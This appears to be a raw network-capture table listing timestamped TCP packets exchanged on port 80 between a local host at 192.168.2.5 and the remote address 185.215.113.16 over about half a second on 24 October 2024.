Oct 24, 2024 08:38:11.662049055 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.662081957 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.662081957 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.662081957 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.662117958 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.662127972 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.662170887 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.703303099 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.703377962 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.703413010 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.703425884 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.703425884 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.703447104 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.703459024 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.703483105 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.703519106 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.703532934 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.703568935 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.703568935 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.714576960 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.714607954 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.714642048 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.714656115 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.714656115 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.714694023 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.714749098 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.714783907 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.714797974 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.714797974 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.714823008 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.714835882 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.714869976 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.714903116 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.714936972 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.714946985 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.714946985 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.714968920 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.714991093 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.715023041 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.715055943 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.715086937 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.715086937 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.715090990 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.715122938 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.715157032 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.715167046 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.715167046 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.715184927 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.715219975 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.715229988 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.715229988 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.715274096 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.715281963 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.715307951 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.715333939 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.715378046 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.715410948 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.715410948 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.715445995 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.715446949 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.715456963 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.715480089 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.715513945 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.715547085 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.715564966 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.715565920 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.715565920 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.715581894 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.715610981 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.715641975 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.715641975 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.715643883 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.715668917 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.715678930 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.715719938 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.715719938 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.758128881 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.758176088 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.758212090 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.758240938 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.758241892 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.758249998 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.758301020 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.758301020 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.763154984 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.763191938 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.763228893 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.763237953 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.763237953 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.763331890 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.778954983 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.779015064 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.779051065 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.779084921 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.779119968 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.779154062 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.779154062 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.779155016 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.779190063 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.779197931 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.779197931 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.779223919 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.779258966 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.779306889 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.779306889 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.820374966 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.820414066 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.820449114 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.820493937 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.820494890 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.820494890 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.820545912 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.820584059 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.820637941 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.820660114 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.831670046 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.831701040 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.831751108 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.831796885 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.831798077 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.831805944 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.831861973 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.831897020 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.831931114 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.831943035 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.831943035 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.831965923 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.832000971 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.832017899 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.832021952 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.832057953 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.832091093 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.832102060 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.832102060 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.832124949 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.832176924 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.832211018 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.832222939 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.832222939 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.832243919 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.832282066 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.832310915 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.832320929 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.832320929 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.832359076 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.832359076 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.832370043 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.832422972 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.832453012 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.832495928 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.832495928 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.832504988 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.832540035 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.832573891 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.832596064 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.832608938 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.832628965 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.832642078 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.832674980 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.832683086 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.832683086 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.832709074 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.832746029 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.832757950 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.832757950 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.832778931 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.832788944 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.832813978 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.832817078 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.832848072 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.832870007 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.832882881 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.832906008 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.832918882 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.832921982 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.832952023 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.832988024 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.833031893 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.833046913 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.875417948 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.875456095 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.875492096 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.875544071 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.875544071 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.880306959 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.880345106 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.880379915 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.880417109 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.880439997 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.896044016 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.896100044 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.896128893 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.896136045 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.896169901 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.896203995 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.896215916 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.896215916 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.896239042 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.896274090 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.896276951 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.896307945 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.896315098 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.896315098 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.896363974 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.937374115 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.937413931 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.937449932 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.937484980 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.937515974 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.937521935 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.937521935 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.937550068 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.937581062 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.937581062 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.937587023 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.937921047 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.938309908 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.948813915 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.948854923 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.948890924 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.948925972 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.948925972 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.948945999 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.948983908 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.948997021 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.948997021 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.949013948 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.949047089 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.949053049 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.949053049 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.949119091 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.949148893 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.949163914 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.949163914 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.949183941 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.949191093 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.949237108 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.949239016 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.949287891 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.949325085 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.949337006 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.949337959 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.949354887 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.949389935 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.949419022 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.949443102 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.949443102 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.949443102 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.949474096 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.949491978 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.949510098 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.949546099 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.949594975 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.949594975 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.949599981 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.949635983 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.949670076 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.949677944 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.949677944 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.949703932 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.949738026 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.949744940 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.949776888 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.949788094 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.949788094 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.949806929 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.949826956 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.949841976 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.949871063 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.949877024 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.949888945 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.949909925 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.949944019 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.949947119 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.949947119 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.949976921 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.950012922 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.950018883 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.950018883 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.950046062 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.950079918 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.950089931 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.950089931 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.950114965 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.950124979 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.950151920 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.950402975 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.992413044 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.992609978 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.992644072 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.992752075 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.992845058 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.997555017 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.997592926 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.997628927 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.997663021 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.997698069 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:11.997701883 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.997750998 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:11.997750998 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.015707016 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.015747070 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.015780926 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.015815020 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.015824080 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.015824080 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.015850067 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.015851974 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.015857935 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.015887976 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.015902042 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.015923977 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.015959024 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.015995979 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.015995979 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.057087898 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.057106972 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.057121992 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.057136059 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.057180882 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.057219982 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.057219982 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.057266951 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.066075087 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.066106081 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.066121101 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.066139936 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.066154957 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.066171885 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.066171885 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.066190958 CEST	60982	80	192.168.2.5	185.215.113.16
Oct 24, 2024 08:38:12.066203117 CEST	80	60982	185.215.113.16	192.168.2.5
Oct 24, 2024 08:38:12.066219091 CEST	80	60982	185.215.113.16	192.168.2.5
